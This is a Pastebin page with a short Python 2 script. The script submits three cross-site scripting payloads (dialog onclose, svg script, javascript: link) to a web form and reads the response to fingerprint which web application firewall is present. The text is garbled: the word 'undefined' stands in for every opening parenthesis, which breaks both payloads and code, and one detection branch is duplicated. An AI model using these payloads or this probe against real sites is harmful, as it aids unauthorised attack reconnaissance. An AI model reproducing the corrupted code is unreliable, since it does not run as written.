Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt&#40 1&#41<i>', '<a href="&#1;javascript:alertundefined1)">CLICK ME<a>']
- for payLoads in listofPayloads:
- maliciousRequest = mec.Browserundefined)
- formName = 'waf'
- maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html")
- maliciousRequest.select_formundefinedformName)
- maliciousRequest.form['data'] = payLoads
- maliciousRequest.submitundefined)
- response = maliciousRequest.responseundefined).readundefined)
- if response.findundefined'WebKnight') >= 0:
- print "Firewall detected: WebKnight"
- elif response.findundefined'Mod_Security') >= 0:
- print "Firewall detected: Mod Security"
- elif response.findundefined'Mod_Security') >= 0:
- print "Firewall detected: Mod Security"
- elif response.findundefined'dotDefender') >= 0:
- print "Firewall detected: Dot Defender"
- else:
- print "No Firewall Present"
Add Comment
Please, Sign In to add comment